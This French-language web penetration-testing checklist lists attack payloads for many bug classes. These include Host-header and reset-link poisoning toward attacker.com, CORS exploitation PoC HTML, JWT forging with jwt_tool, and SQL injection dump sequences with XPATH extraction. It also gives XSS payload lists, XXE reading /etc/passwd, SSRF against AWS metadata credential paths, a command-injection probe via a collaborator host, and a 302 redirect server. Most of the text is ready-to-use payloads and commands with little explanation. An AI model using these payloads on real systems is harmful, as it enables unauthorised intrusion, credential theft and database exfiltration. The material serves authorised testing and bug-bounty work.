CheckList & Méthodologie
- Ajouter l'url dans le scope sur BURP
- Mettre les cookies du compte le moins privilégié dans l'extension Authorize
- NMAPsudo nmap -sS <IP>nmap -A -p- <IP>sudo nmap -v -Pn -sV --reason --version-all --top-ports 1000 <IP>
- Niktonikto -h <URL>
- Shodan
- Aller sur le site Shodan et regarder s'il existe des informations
- DNS
- Check DNSdnsrecon -d www.example.com -adnsenum <IP>
- Checkez la version TLS utilisée (doit être 1.3) | Expiration des certificats | Support PFS
- SSL Scanner (Burp Extension)
- ./testssl.sh <URL>testssl <URL>
- Check de :
- /.git
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /phpinfo.php
- python main.py samples/.DS_Store.ctf
- WAF (Fortinet, CloudFlare, etc...)
- Google Dork
- Code source
- X-XSS-Protection
- Strict-Transport-Security
- X-Content-Type-Options
- X-Frame-Options
- Content-Security-Policy
- Cache-Control
- Host header injection
- Host Header
Host : evil.com
Host: localhost
Host : javascript:confirm(1)
Host: <link src="http://www.attacker.com"/>
- Dupliquez le champs
Host : evil.com
:GET / HTTP/1.1Host: www.vulnerable_website.comHost: www.attacker.com - Indentez le premier champ Host :GET / HTTP/1.1Host: www.vulnerable_website.comHost: www.attacker.com
- Bypass admin panel1. Ce bypass est utilisé lorsque l'accès à la page de connexion de l'admin vous est interdit.3. Injecter "X-Orginal-URL : /admin" ou "X-Rewrite-URL:/admin".4. Utiliser cet en-tête sous Host* Utilisez Burp pour capturer puis vérifier
- Forwarded InjectionInjecter :
- 127.0.0.1
- localhost
- 192.168.1.2
- burp.collaborator
- evil.com
- /admin
- /consoleDans :
Client-IP:
Connection:
Contact:
Forwarded:
From:
Host:
Origin:
Referer:
True-Client-IP:
X-Client-IP:
X-Custom-IP-Authorization:
X-Forward-For:
X-Forwarded-For:
X-Forwarded-Host:
X-Forwarded-Server:
X-Host:
X-Original-URL:
X-Originating-IP:
X-Real-IP:
X-Remote-Addr:
X-Remote-IP:
X-Rewrite-URL:
- URL AbsoluEssayez de rentrer un URL absolu :GET **https://google.com** HTTP/1.1Host: www.google.com
- SSRF Injection
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
- CORS (Cross Origin Resource Sharing)Ajouter le header "
Origin
" à la requête :GET / HTTP/1.1Host: www.vulnerable_website.com**Origin : evil.com**Si la réponse contient le code ci dessous vous avez une vulnérabilité CORS :**Acces-Control-Allow-Origin: evil.comAccess-Control-Allow-Credentials: True**Pour POC une vulnérabilité CORS :Habituellement, vous voulez cibler un endpoint API.- Créer un fichier test.html<html><body><h2>CORS PoC</h2><div id="demo"><button type="button" onclick="cors()">Exploit</button></div><script>function cors() {var xhr = new XMLHttpRequest();xhr.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.getElementById("demo").innerHTML = alert(this.responseText);}};xhr.open("GET","https://victim.example.com/endpoint", true);xhr.withCredentials = true;xhr.send();}</script></body></html>
- Créez un server python :
python3 -m http.server
- Cliquez sur test.html puis sur le bouton POCCORS bypass :Origin : nullOrigin : attacker.comOrigin : attacker.target.comOrigin : attackertarget.comOrigin : sub.attackertarget.comOrigin : attacker.com and then change the method Get to Post/Post to GetOrigin : sub.attacker target.comOrigin : sub.attacker%target.comOrigin : attacker.com/target.com
- Attributs à checker
- HttpOnly
- Secure
- SameSite
- Obfuscation
- Credentials
- Contient des creds ?
- Contient des paramètres (id, uid, ...) ?
- Tester des injections SQL dans les paramètres du genre (uid=, id=)
- Creation de compte
- Politique de mot de passe ( 8 caractères minimums, Majuscule, Minuscule, caractères speciaux) sinon vulnérabilité.
- Vérification par email lors de la création de compte ?
- Essayer de rentrer un nom d'utilisateur déjà existant pour voir si l'ancien est effacé
- Username unique ? Possibilité d'avoir le même qu'un autre ?
- Ajouter des espaces dans le champs "
Password
"
- Login
- Provoquer une erreur et voir si information dans le message d'erreur
- Login avec l'utilisateur ayant le moins de privilège
- Ajouter les cookies de cet user à Autorize
- Brute Force possible ?
- Injection SQL possible ?
- Énumération d'users ?
- Logout
- Provoquer une erreur et voir s'il y a des informations dans le message d'erreurs
- Essayer de se Logout et voir si les cookies sont réutilisables
- Énumération d'users ?
- Lien de reset de password n'expirant jamaislorsqu'un utilisateur demande un changement de mot de passe, il obtient un lien de réinitialisation de mot de passe pour réinitialiser le mot de passe, c'est le comportement normal, mais il devrait également expirer après un certain temps. S'il n'expire pas et que vous pouvez utiliser le lien de réinitialisation du mot de passe plusieurs fois pour réinitialiser le mot de passe. Ensuite, vous pouvez le considérer comme une vulnérabilité.
- Pas de limite sur le reset de passwordLa limitation de débit est utilisée pour contrôler la quantité de trafic entrant et sortant vers ou depuis un réseau. Essayez donc d'envoyer beaucoup de requêtes, si cela ne vous bloque pas, vous pouvez le considérer comme une vulnérabilité.HOW TO HUNT :
- 1.Démarrez burp et interceptez la demande de réinitialisation du mot de passe
- 2.Envoyer à l'intruder
- 3.Utilisez le payload "null"
- Déni de service lors de la saisie d'un long mot de passeNormalement, les mots de passe ont 8-12-24 ou jusqu'à 48 chiffres. s'il n'y a pas de limite de caractères dans le mot de passe, vous pouvez le considérer çela comme une vulnérabilité.HOW TO HUNT :
- 1.Démarrez burp et interceptez la demande de réinitialisation du mot de passe
- 2.Envoyer à l'intruder
- 3.Utilisez le payload "null"
- Fuite de token de réinitialisation de mot de passe via refererLe referer HTTP est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page Web qui est liée à la ressource demandée. L'en-tête de demande Referer contient l'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi. Il est donc possible que le jeton de réinitialisation du mot de passe fuit via l'en-tête de demande de référence.HOW TO HUNT :
- 1.Demandez la réinitialisation du mot de passe sur votre adresse e-mail
- 2.Ouvrez le lien de réinitialisation du mot de passe
- 3.Assurez-vous de ne pas modifier le mot de passe sur la page de réinitialisation du mot de passe
- 4.Cliquez sur les liens de médias sociaux et capturez la demande à l'aide de Burp Suite
- 5.Vérifiez si le referer contient un jeton de réinitialisation de mot de passe
- Réinitialisation du mot de passe avec la manipulation du paramètre emailsTout en demandant un lien de réinitialisation de mot de passe pour l'utilisateur victime, nous pouvons essayer la manipulation des paramètres ci-dessous pour obtenir une copie du lien de réinitialisation de la victime sur l'e-mail de l'attaquant.HOW TO HUNT :
- Double parameter (HTTP parameter pollution) : [email protected]&[email protected]
- Carbon copy : [email protected]%0a%0dcc:[email protected]
- No domain : email=victim
- No TLD (Top Level Domain) : email=victim@xyz
- JSON table : {“email”:[“[email protected]”,”[email protected]”]}
- Password reset Poisoining grâce à une fuite de tokenUtilisations des idées pour forward la requete vers un lien nous appartenant.HOW TO HUNT :
- 1.Interceptez la demande de réinitialisation du mot de passe dans Burpsuite
- 2.Ajoutez l'en-tête suivant ou modifiez l'en-tête dans Burp (essayer un par un !)
- 3.Utilisez Ngrok ou collaboratorHost:attacker.comHost:target.comX-Forwarded-Host: burp.collaboratorX-Fowraded-For : burp.collaboratorHost:target.comHost: burp.collaborator
- Remplacer email par [email protected] et examiner les requetes obtenus.
- ID dans la requete ? Mettre un autre ID
- Brute force possible ?
- Token présent dans la requête ?
- Expiration du lien de reset ?
- Spamming d'email possible ?
- Demander deux resets de mdp et tester le lien le plus vieux
- Utiliser l'extension Burp "
ParamMiner
" et chercher des paramètres cachés. - Essayez de supprimer le champs "Ancien mot de passe" si on vous demande de l'entrer
- Si un CSRF_Token est présent essayer de set sa valeur sur "null" :
CSRF_Token:null
- Host header injection
- Créez un lien Ngrok
- Demander un reset de mot de passe et injecter "
Host:<ngrok_url>
" avec votre email et checker si le lien de reset dans l'email contient votre URL ngrok - Injecter la même chose dans le header "
X-Forwarded-For
et**X-Forwarded-Host**
"
- Dans Burp utiliser l'extension Burp JS LinkFinder
- Checker des clefs d'API en clair
- Checker si il y a des appels de paramètres dans les scripts JSexemple : main.js?token="4745678976567"
- Tester des injection JavaScript dans les paramètres trouvés
- Utiliser ces injections JavaScript dans une vulnérabilité d'OpenRedirect
exemple : [https://vulnerable_website/test?url=main.js?token=<em>confirm(1)</em>](https://vulnerable_website/test?url=main.js?token=<em>confirm(1)</em>) —> exploitation
- Chercher des paramètres du type : redirect=, url=, redirecturl=, redirection=, et essayer d'injecter un site externe
Si une redirection s'effectue vous êtes en présence d'une vulnérabilité d'Open Redirection
Astuce : exporter le sitemap de burp :
cat sitemap.txt | gf redirect >> test_redirect.txt
cat test_redirect.txt | qsreplace "https://google.com" >> ffuf_redirect.txt
ffuf -c -w ffuf_redirect.txt -u FUZZ
- JWT tool
- None algorithm :Essayez de changer le header du JWT normalement encodé en RS256 en "None" et testez les différents payload générés :python3 jwt_tool.py "<JWT>" -X a
- From RS256 to HS256Essayez de changer le type d'algorithme de chiffrement utilisé (RS256 néscessite une clef privée alors que HS256 utilise une clef publique partagée. On peut donc essayer de chiffrer ce token avec la meme clef publique que l'application.python3 jwt_tool.py "<JWT>" -S hs256 -k clef_public
Voila une extension Burp qui reproduit les mêmes attaques : JOSPEH
- JOSEPH Extension
- Key Confusion
- Signature Exclusion
- Signature non checker par le serveur
Il peut arriver qu'un serveur ne check pas la signature du JWT, nous allons donc essayer de modifier le JWT
python3 jwt_tool.py "<JWT>" -I -pc name -pv admin #On change la variable {name}={admin}
POLYGLOT PAYLOAD TO USE EVERYTIME :
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
(/*! SLEEP(5) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(5) /*/, onclick=alert(1)//> /*/*/-- 'or" /*! or SLEEP(5) /*/, onclick=alert(1)// /*/*/--{{7*7} "
- SQLi
- Manuellement 1. Trouver une injectionLe but étant de remarquer si une erreur apparait ou si le comportement de l'application change.```sql'' or 1=1' or 1=1 --' or 1=1 -- -' or 1=1 #' and 1=2 -- -' and 1=1 -- -Bypass WAF : %00 ' UNION SELECT ...Best payload : Permet de trouver les blinds et les error based' or sleep(5) -- -```
- 1.Trouver le nombre de colonnes :' ORDER BY 1 --' ORDER BY 2 --' ORDER BY 3 --' UNION SELECT NULL --' UNION SELECT NULL,NULL --' UNION SELECT NULL,NULL,NULL --Incrementer de 1 le ORDER BY ou le NULL, jusqu"à avoir :- Une erreur pour le order BY- Pas d'erreur pour le NULL
- 2.Extraction d'informations database(), version(), user(), UUID() with concat() or group_concat() (COLUMNS represente le nb de colonnes trouvé précédement, soit remplacer par 1,2,3,... ou NULL,NULL,NULL,... ) :Oracle 'UNION SELECT banner, COLUMNS, FROM v$version --'UNION SELECT version, NULL, NULL FROM v$instance --Microsoft 'UNION SELECT @@version, COLUMNS --PostgreSQL 'UNION SELECT version(), COLUMNS --MySQL 'UNION SELECT @@version, COLUMNS --
- 3.Dump de la database (Attention : Mieux vaut encoder les espaces avec un "+") :Oracle 'UNION+SELECT+table_name+FROM+all_tables'UNION SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'Microsoft 'UNION SELECT table_name FROM information_schema.tables'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'PostgreSQL 'UNION SELECT table_name FROM information_schema.tables'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'MySQL 'UNION SELECT table_name FROM information_schema.tables'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
- 4.TIME DELAY ( Utile pour trouver des SQLi)Oracle dbms_pipe.receive_message(('a'),10)Microsoft WAITFOR DELAY '0:0:10'PostgreSQL SELECT pg_sleep(10)MySQL SELECT sleep(10)
- 5.SQLi Error based avec XPATHD'après mon expérience, la plupart du temps, quand on ajoute une quote ou deux et nous obtenons une erreur de l'application alors on en déduis une SQLi, très bien. On commence par commenter la requête et à chercher le nombre de colonnes avec ORDER BY.Supposons qu'il y ait 5 colonnes. Maintenant, quand nous injectons avec de l'Union Based, On se rend compte que l'erreur ne nous renvoi rien... Merde....C'est la situation dans laquelle on peut utiliser l'injection XPATH.Donc on reprend l'injection de base :id=1' union select 1,2,3,4,-- -# Cette Injection prend la forme de :select path from pages where id="<notre_requete>" limit 1,1;On vas donc utiliser la fonction MySQL"extractvalue" qui utilise une requete XPATH pour formuler la requete. La fonction prend l'entrée sous la forme suivante : ExtractValue('xmldatahere', 'xpathqueryhere').Si la requête XPath est syntaxiquement incorrecte, un message d'erreur s'affiche : Erreur de syntaxe XPATH : 'xpathqueryhere'. C'est dans cette erreur qu'on va pouvoir retrouver nos réponse à nos requêtes.id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--Output : XPATH syntax error: ' database_name_here'Maintenant il ne vous reste plus qu'à adapter les requêtes pour dumper dans l'ordre :
- 1.Le nom de la database
- 2.Le nom des tables
- 3.Le nom des colonnes
- 4.Les données dans les colonnesid=1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--Output : XPATH syntax error: 'table_name_here'id=1' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--id=1' and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))--⚠️ ATTENTION : Vous avez remarqué le "LIMIT 1,1", jouez avec ca pour afficher toutes les données.Ex : LIMIT 1,1 / LIMIT 2,1 / LIMIT 3,1 ....
- Automatisationsublist3r -d target | tee -a domains.txt (utilisation d'autres tolls genre findomain, assetfinder, etc.)cat domains.txt | httpx | tee -a alive_subdomains.txtcat alive_subdomains| waybackurls | tee -a urls.txtgf sqli urls.txt >> sqli_test.txtsqlmap -m sqli_test.txt --dbs --batch
- XSSTest d'une XSS :Le paramètre est-il réfléchis dans la réponse du serveur ? Si oui →
- Go sur ce site et mettez les différent tags et events dans votre intruder pour savoir lesquels sont filtrés ou non.
- Injection de code HTML# HTML"><h1>hello</h1>Si le Hello" prend l'attribut H1 on peut tester plusieur injections :<body onload=prompt(/XSS/.source)><input autofocus onfocus=prompt(1)><img src=x onerror=prompt()>${{7*7}}'--# Basic payload<script>confirm(1)</script><scr<script>ipt>confirm(1)</scr<script>ipt>"><script>confirm(1)</script>"><script>prompt(String.fromCharCode(88,83,83))</script># Img payload<img src=x onerror=prompt(1);><img src=x onerror=prompt(1)//<img src=x onerror=prompt(String.fromCharCode(88,83,83));><img src=x oneonerrorrror=prompt(String.fromCharCode(88,83,83));><img src=x:prompt(alt) onerror=eval(src) alt=xss>"><img src=x onerror=prompt(1);>"><img src=x onerror=prompt(String.fromCharCode(88,83,83));># Svg payload<svgonload=prompt(1)><svg/onload=confirm(1)><svg onload=prompt(1)//<svg/onload=confirm(String.fromCharCode(88,83,83))><svg id=alert(1) onload=eval(id)>"><svg/onload=confirm(String.fromCharCode(88,83,83))>"><svg/onload=prompt(/XSS/)<svg><script href=data:,confirm(1) />(`Firefox` is the only browser which allows self closing script)# Div payload<div onpointerover="confirm(xss)">MOVE HERE</div><div onpointerdown="confirm(45)">MOVE HERE</div><div onpointerenter="confirm(45)">MOVE HERE</div><div onpointerleave="confirm(45)">MOVE HERE</div><div onpointermove="confirm(45)">MOVE HERE</div><div onpointerout="confirm(45)">MOVE HERE</div><div onpointerup="confirm(45)">MOVE HERE</div>Automatisation :
- Inscription sur XSSHunterparamspider -d exemple.com > param.txtdalfox -b Username.xss.ht file param.txtTIPS :
- Ne plus utiliser
alert
, préférezconfirm
ouprompt
- N'utilise pas des
""
dans votre payload, préférez utiliser unnombre
~~alert("XSS")~~ —> prompt(1)
- XXE
- 1.Convertir le content-type "application/json"/"application/x-www-form-urlencoded" en "applcation/xml".
- 2.Si le File Upload autorise docx/xlcs/pdf/zip , unziper le fichier et rajouter un fichier evil.xml avec votre XML injection dedans
- 3.Si possibilité d'upload une image SVG, injecter une XXE dans votre SVG
- 4.Si l'application propose des flux RSS, ajoutez votre injection dans le flux RSS.
- 5.Si l'application propose l'intégration du SSO, vous pouvez injecter votre code xml vicieux dans la demande/réponse SAML.
- 6.Dans du SOAP :Il faut comprendre comment marche une XXE pour essayer de bypass les mécanismes de sécurité :Le XML marche sous forme d'entité, il est possible d'injecter des entitées customs :<!--?xml version="1.0" ?--><!DOCTYPE foo [ <!ENTITY MON_ENTITE "Valeur de mon entité" > ]><userInfo><firstName>John</firstName><lastName>&MON_ENTITE;</lastName> #Appel de ma custom entity</userInfo>Ou encore d'injecter des entitées externes qui seront chargé soit depuis un URL soit depuis un fichier distant. Pour charger ces entités on utilise la commande SYSTEM<!--?xml version="1.0" ?--><!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://external-website.com" > ]> # **file:///etc/passwd** peut aussi être utilisé<userInfo><firstName>John</firstName><lastName>&ext;</lastName> #Appel de mon external entity</userInfo>Quelques fois il est possible que les entitées externes soient bloquées pour des raisons de sécurité. On peut alors utiliser non plus des custom ou external entities mais des parameters entity qui vont s'appeler directement depuis la délcaration de la DOCTYPE et donc plus besoin de l'appeler dans les paramètres de la requète (plus bespoin de &xxe;) :<!--?xml version="1.0" ?--><!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://burp.collaborator.net"> %xxe; ]>
- SSRF
- POCDans Burp > fichier > Burp Collaborator > Copy to ClipboardInjectez vos Burp collaborator dans les éléments suivants et checker si vous avez une connexion en retour :
- Burp Extension : Collaborator Everywhere
- Injecter dans les headers (GET /HTTP 1.1Host: site.tldAgent: FirefoxReferrer: https://burp_collaborator.com
- gau domain.com | python3 ssrf.py burp_collaborator.com
- Checker si des fonctionnalités Java URI, CURL, WGET, LDAP, File, FTP, SMTP sont utilisés
- Checker des paramètres où l'on peu entrer des liens ou quand il y a une redirection : url=, redirect=, redirecturl=, email=, ip=
- Si XSS ou possibilité d'injecter du JavaScript :<iframe src="file:///etc/passwd" width="400" height="400"><img src onerror="document.write('<iframe src=//127.0.0.1></iframe>')>
- Automatisation 1. Getting urlswaybackurl [target.com](http://target.com) >> blindssrftesturls.txtgau -subs [target.com](http://target.com) >>blindssrftesturls.txt2. Trouver les faux positifscat blindssrftesturls.txt | sort -u | anewc | httpx | tee -a pre_ssrfurls.txt3. Trouver les paramètres vulnérablescat pre_ssrfurls.txt | gf ssrf >> final_ssrfurls.txt4. Remplacer par votre Burp Collaborator et Fuzzercat final_ssrfurls.txt | qsreplace "Burpcollaborator" >> ssrf_ffuf.txtffuf -c -w ssrf_ffuf.txt -u FUZZ
- TIPS :
- Si instance sur AWSAWS est largement utilisé de nos jours. Les instances n'ont pas une IP en 127.0.0.1 mais en 169.254.169.254.Essayez d"injecter :http://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/user-data/http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HEREhttp://169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
- Test RCEGET /XXX/Logo?url=burpcollaborator?`whoami`Host: exemple.comouGET /XXX/Logo?url=<os cmd>.burpcollaboratorHost: exemple.com
- Utiliser des redirection d'URL pour bypass certaines protection#!/usr/bin/env python3#302redirect.pyimport sysfrom http.server import HTTPServer, BaseHTTPRequestHandlerif len(sys.argv)-1 != 2:print("""Usage: {} <port_number> <url>""".format(sys.argv[0]))sys.exit()class Redirect(BaseHTTPRequestHandler):def do_GET(self):self.send_response(302)self.send_header('Location', sys.argv[2])self.end_headers()def send_error(self, code, message=None):self.send_response(302)self.send_header('Location', sys.argv[2])self.end_headers()HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()python3 302redirect.py 8080 "http://burpcollaborator/"*GET /XXX/Logo?url=<YOUR IP>/Host: exemple.com
- Si présence d'une SSRF utiliser le protocole gopher :GET /XXX/Logo?url=gopher://burpcollaboratorHost: exemple.com
- SSTIRuby<%=`id`%>Twig{{7*'7'}} --> 49Jinja{{7*'7'}} --> 7777777
- OS command
- XPath
- LDAP
- ByPass de filtre:Différents types de filtrage.